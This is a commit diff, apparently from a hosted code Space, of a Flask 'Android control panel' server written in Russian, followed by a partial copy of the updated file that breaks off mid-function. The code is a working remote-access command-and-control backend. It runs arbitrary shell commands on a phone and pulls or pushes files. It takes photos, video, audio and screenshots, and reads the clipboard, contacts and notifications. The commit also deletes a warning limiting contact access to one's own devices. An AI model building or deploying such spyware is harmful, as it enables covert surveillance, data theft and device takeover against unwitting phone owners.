Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
@@ -20,7 +20,6 @@ file_to_send_to_client = None
|
|
20 |
device_status_info = {}
|
21 |
notifications_history = []
|
22 |
contacts_list = []
|
23 |
-
installed_apps_list = []
|
24 |
|
25 |
|
26 |
HTML_TEMPLATE = """
|
@@ -32,7 +31,7 @@ HTML_TEMPLATE = """
|
|
32 |
<title>Панель управления Android</title>
|
33 |
<style>
|
34 |
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
|
35 |
-
.sidebar { width:
|
36 |
.sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
|
37 |
.sidebar ul { list-style: none; padding: 0; margin: 0; }
|
38 |
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
|
@@ -42,24 +41,22 @@ HTML_TEMPLATE = """
|
|
42 |
h1 { color: #333; text-align: center; margin-bottom: 20px;}
|
43 |
.control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
|
44 |
label { display: block; margin-bottom: 8px; font-weight: bold; color: #555; }
|
45 |
-
input[type="text"], textarea, input[type="file"] { width: calc(100% - 24px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
|
46 |
button { padding: 10px 18px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.95em; margin-right: 5px; margin-bottom: 5px;}
|
47 |
button:hover { background-color: #0056b3; }
|
48 |
pre { background-color: #282c34; color: #abb2bf; padding: 15px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 350px; overflow-y: auto; font-family: 'Courier New', Courier, monospace;}
|
49 |
.status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
|
50 |
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
|
51 |
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
|
52 |
-
.file-browser ul
|
53 |
-
.file-browser li
|
54 |
-
.file-browser li:last-child
|
55 |
-
.file-browser a
|
56 |
-
.file-browser a:hover
|
57 |
.file-icon { margin-right: 8px; }
|
58 |
.file-browser .dir a { font-weight: bold; }
|
59 |
.file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
|
60 |
.file-browser .download-btn:hover { background-color: #218838; }
|
61 |
-
.data-list .action-btn { font-size: 0.8em; padding: 3px 8px; background-color: #17a2b8; }
|
62 |
-
.data-list .action-btn:hover { background-color: #138496; }
|
63 |
.hidden-section { display: none; }
|
64 |
.status-item { margin-bottom: 10px; }
|
65 |
.status-item strong { color: #333; }
|
@@ -68,6 +65,7 @@ HTML_TEMPLATE = """
|
|
68 |
.list-item:last-child { border-bottom: none; }
|
69 |
.list-item strong { display: block; color: #555; }
|
70 |
.list-item span { font-size: 0.9em; color: #777; }
|
|
|
71 |
</style>
|
72 |
<script>
|
73 |
let currentView = 'dashboard';
|
@@ -82,7 +80,6 @@ HTML_TEMPLATE = """
|
|
82 |
if (sectionId === 'device_status') requestDeviceStatus();
|
83 |
if (sectionId === 'notifications') requestNotifications();
|
84 |
if (sectionId === 'contacts') requestContacts();
|
85 |
-
if (sectionId === 'apps') requestInstalledApps();
|
86 |
refreshOutput();
|
87 |
}
|
88 |
|
@@ -145,12 +142,9 @@ HTML_TEMPLATE = """
|
|
145 |
if (data.notifications && currentView === 'notifications') {
|
146 |
renderNotifications(data.notifications);
|
147 |
}
|
148 |
-
|
149 |
renderContacts(data.contacts);
|
150 |
}
|
151 |
-
if (data.installed_apps && currentView === 'apps') {
|
152 |
-
renderInstalledApps(data.installed_apps);
|
153 |
-
}
|
154 |
|
155 |
|
156 |
} catch (error) {
|
@@ -245,41 +239,28 @@ HTML_TEMPLATE = """
|
|
245 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
246 |
}
|
247 |
}
|
|
|
248 |
function renderContacts(contacts) {
|
249 |
-
const
|
250 |
-
|
251 |
-
|
252 |
contacts.forEach(c => {
|
253 |
-
const
|
254 |
-
|
255 |
-
|
256 |
-
|
257 |
-
|
258 |
-
|
259 |
-
|
260 |
-
}
|
261 |
-
}
|
262 |
|
263 |
-
|
264 |
-
|
265 |
-
|
266 |
-
|
267 |
-
|
268 |
-
const li = document.createElement('li');
|
269 |
-
const nameSpan = document.createElement('span');
|
270 |
-
nameSpan.textContent = appPkg;
|
271 |
-
|
272 |
-
const launchBtn = document.createElement('button');
|
273 |
-
launchBtn.className = 'action-btn';
|
274 |
-
launchBtn.textContent = 'Запустить';
|
275 |
-
launchBtn.onclick = (e) => { e.preventDefault(); launchApp(appPkg); };
|
276 |
-
|
277 |
-
li.appendChild(nameSpan);
|
278 |
-
li.appendChild(launchBtn);
|
279 |
-
appLictUl.appendChild(li);
|
280 |
});
|
281 |
} else {
|
282 |
-
|
283 |
}
|
284 |
}
|
285 |
|
@@ -344,15 +325,15 @@ HTML_TEMPLATE = """
|
|
344 |
document.getElementById('command_str').value = '';
|
345 |
}
|
346 |
|
347 |
-
function submitMediaCommand(type,
|
348 |
let payload = { command_type: type };
|
349 |
-
if (
|
350 |
-
const value = document.getElementById(
|
351 |
-
if (value) payload[
|
352 |
}
|
353 |
-
if (param2Name && param2ValueId) { // For second
|
354 |
-
const
|
355 |
-
if (
|
356 |
}
|
357 |
sendGenericCommand(payload);
|
358 |
}
|
@@ -426,12 +407,6 @@ HTML_TEMPLATE = """
|
|
426 |
function requestContacts() {
|
427 |
sendGenericCommand({ command_type: 'get_contacts' });
|
428 |
}
|
429 |
-
function requestInstalledApps() {
|
430 |
-
sendGenericCommand({ command_type: 'get_installed_apps' });
|
431 |
-
}
|
432 |
-
function launchApp(packageName) {
|
433 |
-
sendGenericCommand({ command_type: 'launch_app', package_name: packageName });
|
434 |
-
}
|
435 |
|
436 |
|
437 |
</script>
|
@@ -444,7 +419,6 @@ HTML_TEMPLATE = """
|
|
444 |
<li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
|
445 |
<li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
|
446 |
<li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
|
447 |
-
<li><a href="#apps" onclick="showSection('apps')">Приложения</a></li>
|
448 |
<li><a href="#files" onclick="showSection('files')">Файлы</a></li>
|
449 |
<li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
|
450 |
<li><a href="#media" onclick="showSection('media')">Медиа</a></li>
|
@@ -504,30 +478,15 @@ HTML_TEMPLATE = """
|
|
504 |
|
505 |
<div id="contacts" class="container hidden-section">
|
506 |
<h2>Контакты</h2>
|
507 |
-
<div class="control-section" style="border-color: red; background-color: #ffebee;">
|
508 |
-
<p style="color: red; font-weight: bold;">ВНИМАНИЕ: Доступ к контактам является чувствительной операцией. Используйте ответственно и только на своих устройствах для резервного копирования!</p>
|
509 |
-
</div>
|
510 |
<button onclick="requestContacts()">Запросить список контактов</button>
|
511 |
<div class="control-section">
|
512 |
<h3>Список контактов:</h3>
|
513 |
-
<
|
514 |
-
<
|
515 |
-
</
|
516 |
-
</div>
|
517 |
-
</div>
|
518 |
-
|
519 |
-
<div id="apps" class="container hidden-section">
|
520 |
-
<h2>Установленные приложения</h2>
|
521 |
-
<button onclick="requestInstalledApps()">Запросить список приложений</button>
|
522 |
-
<div class="control-section">
|
523 |
-
<h3>Список приложений (пакеты):</h3>
|
524 |
-
<ul id="installedAppsList" class="list-container data-list">
|
525 |
-
<li>Запросите список приложений.</li>
|
526 |
-
</ul>
|
527 |
</div>
|
528 |
</div>
|
529 |
|
530 |
-
|
531 |
<div id="files" class="container hidden-section">
|
532 |
<h2>Файловый менеджер (Клиент)</h2>
|
533 |
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
|
@@ -570,21 +529,21 @@ HTML_TEMPLATE = """
|
|
570 |
<div id="media" class="container hidden-section">
|
571 |
<h2>Мультимедиа</h2>
|
572 |
<div class="control-section">
|
573 |
-
<button onclick="submitMediaCommand('take_photo', 'camera_id', '
|
574 |
-
<label for="
|
575 |
-
<input type="text" id="
|
576 |
</div>
|
577 |
<div class="control-section">
|
578 |
-
<button onclick="submitMediaCommand('
|
579 |
-
<label for="
|
580 |
-
<input type="text" id="
|
|
|
|
|
581 |
</div>
|
582 |
-
|
583 |
-
<button onclick="submitMediaCommand('
|
584 |
-
<label for="
|
585 |
-
<input type="text" id="
|
586 |
-
<label for="video_duration_input" style="display:inline-block; margin-left:5px;">Длит. (сек):</label>
|
587 |
-
<input type="text" id="video_duration_input" value="10" style="width:40px; display:inline-block;">
|
588 |
</div>
|
589 |
<div class="control-section">
|
590 |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
@@ -660,7 +619,7 @@ def index():
|
|
660 |
|
661 |
@app.route('/send_command', methods=['POST'])
|
662 |
def handle_send_command():
|
663 |
-
global pending_command, command_output
|
664 |
|
665 |
data = request.json
|
666 |
command_output = "Ожидание выполнения..."
|
@@ -668,51 +627,67 @@ def handle_send_command():
|
|
668 |
command_type = data.get('command_type')
|
669 |
|
670 |
if command_type == 'list_files':
|
671 |
-
|
|
|
672 |
elif command_type == 'request_download_file':
|
673 |
filename = data.get('filename')
|
674 |
-
if filename:
|
675 |
-
|
|
|
|
|
676 |
elif command_type == 'take_photo':
|
677 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
|
|
|
|
|
|
|
|
|
|
|
|
678 |
elif command_type == 'record_audio':
|
679 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
680 |
-
elif command_type == 'record_video':
|
681 |
-
pending_command = {'type': 'record_video', 'camera_id': data.get('camera_id','0'), 'duration': data.get('duration', '10')}
|
682 |
elif command_type == 'screenshot':
|
683 |
pending_command = {'type': 'screenshot'}
|
684 |
elif command_type == 'shell':
|
685 |
command_str = data.get('command')
|
686 |
-
if command_str:
|
687 |
-
|
|
|
|
|
688 |
elif command_type == 'receive_file':
|
689 |
-
|
690 |
-
|
691 |
-
|
692 |
-
|
693 |
-
|
694 |
-
|
695 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
696 |
elif command_type == 'clipboard_get':
|
697 |
pending_command = {'type': 'clipboard_get'}
|
698 |
elif command_type == 'clipboard_set':
|
699 |
-
|
|
|
700 |
elif command_type == 'open_url':
|
701 |
-
|
702 |
-
if
|
703 |
-
|
|
|
|
|
704 |
elif command_type == 'get_device_status':
|
705 |
-
|
|
|
706 |
elif command_type == 'get_notifications':
|
707 |
pending_command = {'type': 'get_notifications'}
|
708 |
elif command_type == 'get_contacts':
|
709 |
pending_command = {'type': 'get_contacts'}
|
710 |
-
elif command_type == 'get_installed_apps':
|
711 |
-
pending_command = {'type': 'get_installed_apps'}
|
712 |
-
elif command_type == 'launch_app':
|
713 |
-
pkg_name = data.get('package_name')
|
714 |
-
if pkg_name: pending_command = {'type': 'launch_app', 'package_name': pkg_name}
|
715 |
-
else: command_output = "Ошибка: Имя пакета для запуска не указано."
|
716 |
else:
|
717 |
command_output = "Неизвестный тип команды."
|
718 |
|
@@ -730,40 +705,45 @@ def get_command():
|
|
730 |
|
731 |
@app.route('/submit_client_data', methods=['POST'])
|
732 |
def submit_client_data():
|
733 |
-
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
|
734 |
|
735 |
data = request.json
|
736 |
-
if not data:
|
|
|
737 |
|
738 |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
739 |
|
740 |
if 'output' in data:
|
741 |
new_output = data['output']
|
742 |
max_len = 20000
|
743 |
-
|
|
|
|
|
|
|
744 |
|
745 |
-
if 'current_path' in data:
|
746 |
-
|
|
|
|
|
|
|
|
|
|
|
747 |
|
748 |
if 'notifications_update' in data:
|
749 |
-
notifications_history = data['notifications_update']
|
750 |
-
if not command_output or command_output == "Клиент онлайн.":
|
|
|
751 |
|
752 |
if 'contacts_update' in data:
|
753 |
contacts_list = data['contacts_update']
|
754 |
-
if not command_output or command_output == "Клиент онлайн.":
|
755 |
-
|
756 |
-
if 'installed_apps_update' in data:
|
757 |
-
installed_apps_list = data['installed_apps_update']
|
758 |
-
if not command_output or command_output == "Клиент онлайн.": command_output = "Список приложений обновлен."
|
759 |
|
760 |
|
761 |
if 'heartbeat' in data and data['heartbeat']:
|
762 |
-
|
763 |
-
|
764 |
-
|
765 |
-
if not command_output or command_output == "Клиент онлайн." or is_pure_heartbeat:
|
766 |
-
if is_pure_heartbeat : command_output = "Клиент онлайн."
|
767 |
return jsonify({'status': 'heartbeat_ok'})
|
768 |
|
769 |
return jsonify({'status': 'data_received'})
|
@@ -785,15 +765,19 @@ def upload_from_client_route():
|
|
785 |
filename = werkzeug.utils.secure_filename(file.filename)
|
786 |
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
787 |
|
788 |
-
counter = 0
|
|
|
789 |
while os.path.exists(filepath):
|
790 |
-
counter += 1
|
|
|
|
|
791 |
|
792 |
try:
|
793 |
file.save(filepath)
|
794 |
origin_command_type = request.form.get("origin_command_type", "unknown")
|
795 |
if origin_command_type == "request_download_file":
|
796 |
command_output = f"Файл '{filename}' успешно загружен С клиента."
|
|
|
797 |
return jsonify({'status': 'success', 'filename': filename})
|
798 |
except Exception as e:
|
799 |
command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
|
@@ -801,12 +785,14 @@ def upload_from_client_route():
|
|
801 |
|
802 |
@app.route('/get_status_output', methods=['GET'])
|
803 |
def get_status_output_route():
|
804 |
-
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
|
805 |
return jsonify({
|
806 |
-
'output': command_output,
|
807 |
-
'
|
808 |
-
'
|
809 |
-
'
|
|
|
|
|
810 |
})
|
811 |
|
812 |
@app.route('/uploads_from_client/<path:filename>')
|
@@ -818,34 +804,50 @@ def list_uploaded_files_route():
|
|
818 |
files = []
|
819 |
try:
|
820 |
for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
|
821 |
-
if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
|
822 |
-
|
|
|
|
|
823 |
return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
|
824 |
|
825 |
|
826 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
827 |
def upload_to_server_for_client_route():
|
828 |
-
global command_output
|
829 |
-
if 'file_to_device' not in request.files:
|
|
|
|
|
830 |
file = request.files['file_to_device']
|
831 |
target_path_on_device = request.form.get('target_path_on_device')
|
832 |
-
|
833 |
-
if
|
|
|
|
|
|
|
|
|
834 |
|
835 |
if file:
|
836 |
original_filename = werkzeug.utils.secure_filename(file.filename)
|
837 |
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
|
838 |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
|
|
|
839 |
try:
|
840 |
file.save(filepath_on_server)
|
841 |
command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
|
842 |
-
return jsonify({
|
843 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
844 |
return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
|
845 |
|
846 |
@app.route('/download_to_client/<filename>')
|
847 |
def download_to_client(filename):
|
848 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
|
849 |
|
|
|
850 |
if __name__ == '__main__':
|
851 |
app.run(host='0.0.0.0', port=7860, debug=False)
|
|
|
20 |
device_status_info = {}
|
21 |
notifications_history = []
|
22 |
contacts_list = []
|
|
|
23 |
|
24 |
|
25 |
HTML_TEMPLATE = """
|
|
|
31 |
<title>Панель управления Android</title>
|
32 |
<style>
|
33 |
body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
|
34 |
+
.sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
|
35 |
.sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
|
36 |
.sidebar ul { list-style: none; padding: 0; margin: 0; }
|
37 |
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
|
|
|
41 |
h1 { color: #333; text-align: center; margin-bottom: 20px;}
|
42 |
.control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
|
43 |
label { display: block; margin-bottom: 8px; font-weight: bold; color: #555; }
|
44 |
+
input[type="text"], textarea, input[type="file"], input[type="number"] { width: calc(100% - 24px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
|
45 |
button { padding: 10px 18px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.95em; margin-right: 5px; margin-bottom: 5px;}
|
46 |
button:hover { background-color: #0056b3; }
|
47 |
pre { background-color: #282c34; color: #abb2bf; padding: 15px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 350px; overflow-y: auto; font-family: 'Courier New', Courier, monospace;}
|
48 |
.status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
|
49 |
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
|
50 |
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
|
51 |
+
.file-browser ul { list-style: none; padding: 0; }
|
52 |
+
.file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
|
53 |
+
.file-browser li:last-child { border-bottom: none; }
|
54 |
+
.file-browser a { text-decoration: none; color: #007bff; }
|
55 |
+
.file-browser a:hover { text-decoration: underline; }
|
56 |
.file-icon { margin-right: 8px; }
|
57 |
.file-browser .dir a { font-weight: bold; }
|
58 |
.file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
|
59 |
.file-browser .download-btn:hover { background-color: #218838; }
|
|
|
|
|
60 |
.hidden-section { display: none; }
|
61 |
.status-item { margin-bottom: 10px; }
|
62 |
.status-item strong { color: #333; }
|
|
|
65 |
.list-item:last-child { border-bottom: none; }
|
66 |
.list-item strong { display: block; color: #555; }
|
67 |
.list-item span { font-size: 0.9em; color: #777; }
|
68 |
+
.list-item p {margin: 5px 0;}
|
69 |
</style>
|
70 |
<script>
|
71 |
let currentView = 'dashboard';
|
|
|
80 |
if (sectionId === 'device_status') requestDeviceStatus();
|
81 |
if (sectionId === 'notifications') requestNotifications();
|
82 |
if (sectionId === 'contacts') requestContacts();
|
|
|
83 |
refreshOutput();
|
84 |
}
|
85 |
|
|
|
142 |
if (data.notifications && currentView === 'notifications') {
|
143 |
renderNotifications(data.notifications);
|
144 |
}
|
145 |
+
if (data.contacts && currentView === 'contacts') {
|
146 |
renderContacts(data.contacts);
|
147 |
}
|
|
|
|
|
|
|
148 |
|
149 |
|
150 |
} catch (error) {
|
|
|
239 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
240 |
}
|
241 |
}
|
242 |
+
|
243 |
function renderContacts(contacts) {
|
244 |
+
const contactListDiv = document.getElementById('contactList');
|
245 |
+
contactListDiv.innerHTML = '';
|
246 |
+
if (contacts && contacts.length > 0) {
|
247 |
contacts.forEach(c => {
|
248 |
+
const itemDiv = document.createElement('div');
|
249 |
+
itemDiv.className = 'list-item';
|
250 |
+
// Termux API returns "name: number"
|
251 |
+
// We split it for better display
|
252 |
+
const parts = c.split(':');
|
253 |
+
const name = parts.length > 1 ? parts[0].trim() : "Без имени";
|
254 |
+
const number = parts.length > 1 ? parts.slice(1).join(':').trim() : c.trim();
|
|
|
|
|
255 |
|
256 |
+
itemDiv.innerHTML = `
|
257 |
+
<strong>${name}</strong>
|
258 |
+
<span>${number}</span>
|
259 |
+
`;
|
260 |
+
contactListDiv.appendChild(itemDiv);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
261 |
});
|
262 |
} else {
|
263 |
+
contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>';
|
264 |
}
|
265 |
}
|
266 |
|
|
|
325 |
document.getElementById('command_str').value = '';
|
326 |
}
|
327 |
|
328 |
+
function submitMediaCommand(type, param1Name, param1ValueId, param2Name, param2ValueId) {
|
329 |
let payload = { command_type: type };
|
330 |
+
if (param1Name && param1ValueId) {
|
331 |
+
const value = document.getElementById(param1ValueId).value;
|
332 |
+
if (value) payload[param1Name] = value;
|
333 |
}
|
334 |
+
if (param2Name && param2ValueId) { // For second parameter (e.g., video duration)
|
335 |
+
const value = document.getElementById(param2ValueId).value;
|
336 |
+
if (value) payload[param2Name] = value;
|
337 |
}
|
338 |
sendGenericCommand(payload);
|
339 |
}
|
|
|
407 |
function requestContacts() {
|
408 |
sendGenericCommand({ command_type: 'get_contacts' });
|
409 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
410 |
|
411 |
|
412 |
</script>
|
|
|
419 |
<li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
|
420 |
<li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
|
421 |
<li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
|
|
|
422 |
<li><a href="#files" onclick="showSection('files')">Файлы</a></li>
|
423 |
<li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
|
424 |
<li><a href="#media" onclick="showSection('media')">Медиа</a></li>
|
|
|
478 |
|
479 |
<div id="contacts" class="container hidden-section">
|
480 |
<h2>Контакты</h2>
|
|
|
|
|
|
|
481 |
<button onclick="requestContacts()">Запросить список контактов</button>
|
482 |
<div class="control-section">
|
483 |
<h3>Список контактов:</h3>
|
484 |
+
<div id="contactList" class="list-container">
|
485 |
+
<p>Запросите список контактов.</p>
|
486 |
+
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
487 |
</div>
|
488 |
</div>
|
489 |
|
|
|
490 |
<div id="files" class="container hidden-section">
|
491 |
<h2>Файловый менеджер (Клиент)</h2>
|
492 |
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
|
|
|
529 |
<div id="media" class="container hidden-section">
|
530 |
<h2>Мультимедиа</h2>
|
531 |
<div class="control-section">
|
532 |
+
<button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input_photo')">Сделать фото</button>
|
533 |
+
<label for="camera_id_input_photo" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
534 |
+
<input type="text" id="camera_id_input_photo" value="0" style="width:50px; display:inline-block;">
|
535 |
</div>
|
536 |
<div class="control-section">
|
537 |
+
<button onclick="submitMediaCommand('record_video', 'camera_id', 'camera_id_input_video', 'duration', 'video_duration_input')">Записать видео</button>
|
538 |
+
<label for="camera_id_input_video" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
539 |
+
<input type="text" id="camera_id_input_video" value="0" style="width:50px; display:inline-block; margin-right:10px;">
|
540 |
+
<label for="video_duration_input" style="display:inline-block;">Длительность (сек):</label>
|
541 |
+
<input type="number" id="video_duration_input" value="10" style="width:60px; display:inline-block;">
|
542 |
</div>
|
543 |
+
<div class="control-section">
|
544 |
+
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input_media')">Записать аудио</button>
|
545 |
+
<label for="audio_duration_input_media" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
546 |
+
<input type="text" id="audio_duration_input_media" value="5" style="width:50px; display:inline-block;">
|
|
|
|
|
547 |
</div>
|
548 |
<div class="control-section">
|
549 |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
|
|
619 |
|
620 |
@app.route('/send_command', methods=['POST'])
|
621 |
def handle_send_command():
|
622 |
+
global pending_command, command_output, current_client_path, file_to_send_to_client
|
623 |
|
624 |
data = request.json
|
625 |
command_output = "Ожидание выполнения..."
|
|
|
627 |
command_type = data.get('command_type')
|
628 |
|
629 |
if command_type == 'list_files':
|
630 |
+
path_requested = data.get('path', '.')
|
631 |
+
pending_command = {'type': 'list_files', 'path': path_requested}
|
632 |
elif command_type == 'request_download_file':
|
633 |
filename = data.get('filename')
|
634 |
+
if filename:
|
635 |
+
pending_command = {'type': 'upload_to_server', 'filename': filename}
|
636 |
+
else:
|
637 |
+
command_output = "Ошибка: Имя файла для скачивания не указано."
|
638 |
elif command_type == 'take_photo':
|
639 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
640 |
+
elif command_type == 'record_video':
|
641 |
+
pending_command = {
|
642 |
+
'type': 'record_video',
|
643 |
+
'camera_id': data.get('camera_id', '0'),
|
644 |
+
'duration': data.get('duration', '10') # Default 10 seconds for video
|
645 |
+
}
|
646 |
elif command_type == 'record_audio':
|
647 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
|
|
|
|
648 |
elif command_type == 'screenshot':
|
649 |
pending_command = {'type': 'screenshot'}
|
650 |
elif command_type == 'shell':
|
651 |
command_str = data.get('command')
|
652 |
+
if command_str:
|
653 |
+
pending_command = {'type': 'shell', 'command': command_str}
|
654 |
+
else:
|
655 |
+
command_output = "Ошибка: Команда не указана."
|
656 |
elif command_type == 'receive_file':
|
657 |
+
server_filename = data.get('server_filename')
|
658 |
+
target_path_on_device = data.get('target_path_on_device')
|
659 |
+
if server_filename and target_path_on_device:
|
660 |
+
file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
|
661 |
+
if os.path.exists(file_path_on_server):
|
662 |
+
pending_command = {
|
663 |
+
'type': 'receive_file',
|
664 |
+
'download_url': url_for('download_to_client', filename=server_filename, _external=True),
|
665 |
+
'target_path': target_path_on_device,
|
666 |
+
'original_filename': server_filename
|
667 |
+
}
|
668 |
+
file_to_send_to_client = None
|
669 |
+
else:
|
670 |
+
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
|
671 |
+
else:
|
672 |
+
command_output = "О��ибка: Недостаточно данных для отправки файла клиенту."
|
673 |
elif command_type == 'clipboard_get':
|
674 |
pending_command = {'type': 'clipboard_get'}
|
675 |
elif command_type == 'clipboard_set':
|
676 |
+
text_to_set = data.get('text', '')
|
677 |
+
pending_command = {'type': 'clipboard_set', 'text': text_to_set}
|
678 |
elif command_type == 'open_url':
|
679 |
+
url_to_open = data.get('url')
|
680 |
+
if url_to_open:
|
681 |
+
pending_command = {'type': 'open_url', 'url': url_to_open}
|
682 |
+
else:
|
683 |
+
command_output = "Ошибка: URL для открытия не указан."
|
684 |
elif command_type == 'get_device_status':
|
685 |
+
item_requested = data.get('item')
|
686 |
+
pending_command = {'type': 'get_device_status', 'item': item_requested}
|
687 |
elif command_type == 'get_notifications':
|
688 |
pending_command = {'type': 'get_notifications'}
|
689 |
elif command_type == 'get_contacts':
|
690 |
pending_command = {'type': 'get_contacts'}
|
|
|
|
|
|
|
|
|
|
|
|
|
691 |
else:
|
692 |
command_output = "Неизвестный тип команды."
|
693 |
|
|
|
705 |
|
706 |
@app.route('/submit_client_data', methods=['POST'])
|
707 |
def submit_client_data():
|
708 |
+
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
|
709 |
|
710 |
data = request.json
|
711 |
+
if not data:
|
712 |
+
return jsonify({'status': 'error', 'message': 'No data received'}), 400
|
713 |
|
714 |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
715 |
|
716 |
if 'output' in data:
|
717 |
new_output = data['output']
|
718 |
max_len = 20000
|
719 |
+
if len(new_output) > max_len:
|
720 |
+
command_output = new_output[:max_len] + "\n... (output truncated)"
|
721 |
+
else:
|
722 |
+
command_output = new_output
|
723 |
|
724 |
+
if 'current_path' in data:
|
725 |
+
current_client_path = data['current_path']
|
726 |
+
|
727 |
+
if 'device_status_update' in data:
|
728 |
+
update = data['device_status_update']
|
729 |
+
for key, value in update.items():
|
730 |
+
device_status_info[key] = value
|
731 |
|
732 |
if 'notifications_update' in data:
|
733 |
+
notifications_history = data['notifications_update']
|
734 |
+
if not command_output or command_output == "Клиент онлайн.":
|
735 |
+
command_output = "Список уведомлений обновлен."
|
736 |
|
737 |
if 'contacts_update' in data:
|
738 |
contacts_list = data['contacts_update']
|
739 |
+
if not command_output or command_output == "Клиент онлайн.":
|
740 |
+
command_output = "Список контактов обновлен."
|
|
|
|
|
|
|
741 |
|
742 |
|
743 |
if 'heartbeat' in data and data['heartbeat']:
|
744 |
+
if not command_output or command_output == "Клиент онлайн.":
|
745 |
+
if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data:
|
746 |
+
command_output = "Клиент онлайн."
|
|
|
|
|
747 |
return jsonify({'status': 'heartbeat_ok'})
|
748 |
|
749 |
return jsonify({'status': 'data_received'})
|
|
|
765 |
filename = werkzeug.utils.secure_filename(file.filename)
|
766 |
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
767 |
|
768 |
+
counter = 0
|
769 |
+
base_name, ext = os.path.splitext(filename)
|
770 |
while os.path.exists(filepath):
|
771 |
+
counter += 1
|
772 |
+
filename = f"{base_name}_{counter}{ext}"
|
773 |
+
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
774 |
|
775 |
try:
|
776 |
file.save(filepath)
